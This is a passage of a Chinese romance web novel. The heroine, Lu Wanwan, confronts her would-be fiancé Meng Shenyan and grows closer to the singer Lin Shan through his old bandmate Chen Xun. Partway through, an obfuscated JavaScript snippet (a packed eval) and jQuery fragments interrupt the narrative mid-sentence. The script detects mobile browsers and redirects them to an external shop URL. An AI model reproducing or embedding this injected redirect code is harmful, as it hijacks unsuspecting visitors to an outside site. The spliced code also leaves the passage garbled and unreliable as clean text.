她最后想:
怎么就这么巧,郁金香就该配林杉。
//
出发庆功宴的路上,为了避开狗仔,他们几个在不同的地方下了车分开走。
路弯弯远远地跟着大部队走向酒店的时候,意外看见了一个不和谐的身影。
孟慎言。
她看到他把车交给服务生,然后阔步走进酒店。
她下意识走得更慢。
却又觉得对方的错,何必自己躲着呢?
便还是自然走过。
他们的包厢正好是隔壁,路过孟慎言时,“弯弯。”他朝她招手。
路弯弯不咸不淡地点头致意,然后利落地不再看他。
反而是快步跟上了林杉的团队。
孟慎言眉梢一挑,进了他们的包厢。
轻轻敲门。
“祝贺林先生再次晋级,楼上有我们包下的大包厢,正好今日遇上了,不如一起?”
林杉似乎是打定了主意要争气,敛了眉眼,不卑不亢的模样,轻笑。
“感谢孟先生,那么就恭敬不如从命了。”
一顿饭并不像想象中那样剑拔弩张,反而大家都是客客气气的。
可路弯弯看得出,孟慎言并不平静,往日他喝红酒时并不会这样急,今日却不耐细品。
或许是因为计划没有成功,又或许是因为愤恨于与路弯弯并肩的人是个“上不了台面”的。
林杉则同样紧绷,眉眼较以往都锐利许多,肩颈线条也都绷紧着,似乎是刻意要凸显肌肉线条。
这么严肃的场景,路弯弯想到这儿竟然笑了。
孟慎言走得最早,路弯弯捕捉到他要走的动势时就和林杉说自己要去洗手间,出门后快步追上了孟慎言。
对方似乎没想到路弯弯会追出来,他双手插兜,站在原地等她过去,认准了她会献殷勤。
可路弯弯再也不想和他靠近,她远远站着,用刚好能让他听到的音量。
“孟总,下周我们见个面吧。”
孟慎言根本摸不清楚路弯弯的行为动机,他皱起眉头,脚尖已经先与尊严先行一步。
他急匆匆地走来。
“怎么了?弯弯?有什么事吗?”
到最后还是这么自大。
路弯弯本就没有把嗤笑憋在心里的习惯。
他甚至没想过自己使坏的把柄已经被她攥在手里。
无声的对峙中,她收起嘴角的最后一抹笑意,丝毫不嘴软地对着男人:
“孟慎言,我不是路家的联姻工具,如果你试图困住我,只会让我的反抗更猛烈。”
不再施舍孟慎言任何眼神,脚下的机车靴一迈便转身走开。
走了大约10米,转角遇到了林杉。
今晚得胜的喜悦此时在他的脸上已全然不见,只余愁绪。
他也双手插兜。
孟慎言是傲慢,他应该是紧张。
攥紧黑色牛仔裤裤兜的那两块布料,半张脸掩在黑暗中的林杉终于沙哑着开口。
他的眼神因为长久的等待已经失去了焦点。
“路弯弯,这次的事,你本来打算又一次对我隐瞒,是吗?”
说完,伴随着他的发丝摩擦墙纸的声音,他转过头来,目光也变得柔软又受挫。
路弯弯没想过瞒他。
但也没想过告诉他。
在她心里,事情既然已经发生了,那么就该由第一责任人负责解决它。
在国外的孤独日子,她用这样的理念翻过一座又一座山隘。
第一次有人希望和她一起爬山。
她低着头靠上林杉对面的墙。
“我和你说过,我习惯了,所以不喜欢、也不需要别人帮助我。”
走廊无人,只有尽头精致的窗户并没关严,正卯足了劲往走廊里灌风。
天然的白噪音,却抚慰不了两颗同样躁动着,却始终无法共振的心。
“可我不想看你一个人和那种人对峙,所以不希望、也不舍得不做些什么。”
林杉一贯的作风。
模仿她冷淡理智的句式,却打着感情牌,热烈昂扬。
/
约定好一前一后回到席间,两人后半程对对方皆是无言。
林杉和她是最后离开的。
路弯弯心里腹诽,也不知道用了什么方法支开了小乐和严正。
他站得远远的,见她拒绝了孟慎言远程为她打的车,嘴角浮现出今晚第一个真心的笑。
“弯弯,”他走过来,“我好像有点醉了。”
路弯弯不知道他是不是真的醉了,确实,后半程林杉却是话少得可怜,乖巧的模样倒真像是醉了。
一直灌酒的动作不太可能作假。
就今晚。
只有今晚。
她暗暗想。
她不愿意戳穿他。
自己的曾经欠他的信任,今天一并还了吧。
还有,她思绪飘忽着,想到自己也可以是为了还那束郁金香。
七月底太阳的威力实在有些过分了,即使是深夜,干热的空气依旧罩在每个人的肌肤,像一张挣脱不了的密实大网。
两人便一起坐在酒店的大堂里等着打的车。
男人眯着眼,慢慢地把头靠在她的肩侧。
虽然大脑不作为了,但他的理智还在,只靠着很小的一片肌肤,尽量靠在不算布料的蕾丝罩衫上。
不触碰路弯弯的肌肤。
只是一点点热。
“我不太舒服,借我一下。”
借?
路弯弯笑。
这点倒是和记忆中的他一致,每次醉酒之后都会频出笑料。
“那你准备还我什么?”
林杉像是真的醉了,语气都带着黏腻,说话时嘴唇翕动,轻轻带起气流。
他用鼻尖蹭蹭她的颈侧,像是在感受她的心跳。
又像是犬科动物用鼻尖先认识主人。
耍赖似的:
“不想还了。”
这话很轻,散落在风中,没人去捡起。
林杉手机上却突然接到一个电话,起身时带起的风和刚刚残留在颈间的温度立刻形成对比。
路弯弯最后是独自打车回的家。
回家却一直挂念着喝了酒的林杉。
她想了很久给乐小元发了消息。
【路弯弯】:小乐,林杉他今晚喝酒了,现在到家了吗?
【乐小元】:啊?
【乐小元】:林哥没喝酒吧,我看着他特意和服务生换了饮料。
【乐小元】:他不是说他送你回家才把我们都支走的吗?
路弯弯愤愤地打开林杉的聊天框,想了很久还是关上。
彻底离开之前,不必再留下任何念想。
用快刀切开,才能不再藕断丝连。
//
总决赛采取现场直播,总共有两周时间准备,路弯弯和严正商量过后决定先不告诉林杉最终助演嘉宾。
为了商量合作相关,路弯弯和三位助演嘉宾提前约在了咖啡厅。
三个魅力各异的男性齐刷刷坐在路弯弯面前,饶是见过不少大场面的她,也有些慌张。
第一位简单穿着白T,长相清爽,说话温柔,身材格外挺拔健美,是安喜的高中学长,也是安喜曾经追求过的人。
“你好,罗风颂,我们之间应该不用多介绍了?”
路弯弯忍俊不禁,和他握了手。
第二位戴着鸭舌帽,无袖马甲简单干练,讲起话来都带着凛冽的风。
“齐真一,hi。”
路弯弯和他也握了手。
第三位则戴着半框眼镜,儒雅俊逸,唇角总是噙着淡淡的笑意。
“幸会,路小姐,我是陈寻。”
这三位是林杉选秀限定团的Capricornus(摩羯座)成员。
罗风颂是主舞,齐真一是rap担,陈寻则是队长,也是当年的ace。
限定团一年后就解散了,罗风颂进入了舞剧团,现在是国家民族舞团的主舞。
齐真一还在娱乐圈,但也退居了幕后。
陈寻和林杉共同签入了洪声集团,但同样在活跃了两年后销声匿迹。
这次只有罗风颂和齐真一被各自的公司允许出面助演。
但是陈寻听到消息后也加了路弯弯的联系方式,表示自己愿意悄悄录和声。
路弯弯其实对他们每个人都很熟悉,当年也都为他们投过票尖叫过,但还是表现得礼貌得体。
“非常感谢各位前辈愿意给林杉助演。这次总决赛用的是我给林杉写的曲子,也应该是他复出后的第一张专辑的主打曲。”
路弯弯很坚定。
那张名为《树生》的专辑是她送给林杉的,也是送给16岁的自己的最后一份礼物。
一番商议下来,罗风颂乐意做伴舞,并且愿意最后才让镜头拉近他。
而齐真一很乐意在林杉的间奏插入一段饶舌。
为了歌曲录制的进行,路弯弯掏出了自己的日程表,让他们各自选定了来录音棚的时间点。
齐真一和罗风颂之后还有事,走之前罗风颂让路弯弯给安喜带声好。
路弯弯看他欲言又止,心中对这两人很无奈,只好应下。
陈寻留到最后。
路弯弯其实最想问问陈寻。
当年两个人几乎是同时销声匿迹,洪声集团以陈寻生病的理由为陈寻发了微博,可是对于林杉的消失却只字不提。
正因此,小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259686|139821||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道消息里会流传林杉与陈寻不合,林杉霸凌陈寻的言论。
路弯弯那时候已经把对林杉的喜爱冷却了不少,也就不免会被这样的言论狠狠刺入心底。
所以在路弯弯接触罗风颂和齐真一时,就从未想过陈寻也会主动来助演。
陈寻抿了一口咖啡,温润的嗓音开口,眼神淡然:
“路小姐,很抱歉,我没办法和你说当年那件事。”
路弯弯一怔,她没料到陈寻会主动提起这件事。
一件就连林杉那样开朗热情的人都讳莫如深的事。
她其实并没有准备问,虽然很想知道真相,但也明白娱乐圈鱼龙混杂内有着数不清的肮脏和污秽,一旦说出可能就会牵一发而动全身。
路弯弯轻点头,“我明白,陈先生。”
陈寻笑意渐浓地看她,“但是,有关他的过去,如果路小姐有兴趣,我倒是可以侃侃而谈。”
见路弯弯像是被人戳中心事般顿住,他放下手中的咖啡杯。
“看样子,我没猜错路小姐的想法。”
然后路弯弯就从陈寻清浅如山泉的嗓音里了解了他和林杉的过去。
两人从小便是邻居,铁到可以同穿一条裤子的程度。
高中时虽是邻班,但感情还是很好。
一次高中运动会时,两人都报了4*400m,又都是最后一棒。
两人的共同好友都在笑他们兄弟俩将在同一条跑道上竞争的时候,两人却只是对视笑笑。
发令枪响,两个班的前三棒都不相上下。
上天似乎也是想让他们俩上演同台竞争的戏码。
全场的观众都在等他们的最后一棒,欢呼和拱火几乎要将整个操场掀翻,更别提赛道上的两个人。
“那时候我们俩终于明白,大家都喜欢看兄弟相争,感情破裂的戏码。”
说到这儿,陈寻褪去那周身维持许久的矜贵气息,只剩淡淡的愁绪。
随即,他略带歉意地开口:
“抱歉,路小姐,我失态了。”
路弯弯摇摇头,“没事。”
他继续讲下去。
路弯弯听到他口中讲:
“我们你追我赶地擦肩而过350m,终点冲线前,我们在全场的注视下共同慢下来,用力撞了撞拳头,然后耍帅,一同走了过去,一同低头,把那根线甩在我们身后。”
路弯弯没想到最后会是这样结束这个故事。
她能想象到,热血又桀骜的两个少年,用自己的行动给在场的人展现自己的真心。
故事太像小说里的,急需冷却的她啜饮一口冰咖啡,“好热血。”
“是啊,”陈寻点点头,眼里闪着有些动容的光,“即使十年了,现在我还常常梦见。”
那些本就如无根之木的流言,就这样在陈寻温柔如春风般的叙述里被吹倒。
那个下午,路弯弯在陈寻的视角下,重新认识了站到公众面前之前的那个少年。
和许多高中生一样,他学不会写作文,可是似乎上天想和他开玩笑,他同样也学不好数学英语。
听到这儿,路弯弯终于忍不住笑了起来。
这人,真是除了学习什么都做得好。
最后还是选了文,每天咬牙切齿地背书,也会在早读因为昏昏欲睡被班主任拎出去罚站。
爱打篮球,打完之后会和陈寻抱怨自己一身汗臭,然后去卫生间换一件干净的衬衫。
从那时就有很多女孩暗恋他。
林杉从不炫耀,也留足每一个女孩面子。
陈寻虽然和他性格相反,但却总是处得来,从没有过争吵。
日光在陈寻的声音走过长长的岁月时偷了懒,渐渐歪斜。
像是参透了路弯弯的内心,陈寻在结束谈话前,很真挚地看向她。
“我希望,有人能看到躲在失意角落的林杉。”
他深吸一口气。
“我同样希望,那个人会是路小姐你。”
似乎是为了验证这一点,同一时刻,路弯弯的手机上收到来自林杉的消息。
【杉】:给你做了炸年糕,十分钟后到你家门口,只是外送,不进家门哦~
炸年糕?
路弯弯想起聚餐时自己吃掉的那三块表皮金黄酥脆,内里绵软香甜的炸年糕。
三块确实是代表着喜欢。
稀松平常的事罢了,路弯弯没想到他记得这么认真。
还用上了小心翼翼的措辞。
她也不避讳什么,把手机推到陈寻面前。
陈寻推推眼镜,反光在他脸上移动着。
下一秒笑出了声。
矜贵沉稳的男人似乎放出了心底那压抑已久的少年。
“臭小子,现在学会先斩后奏了。”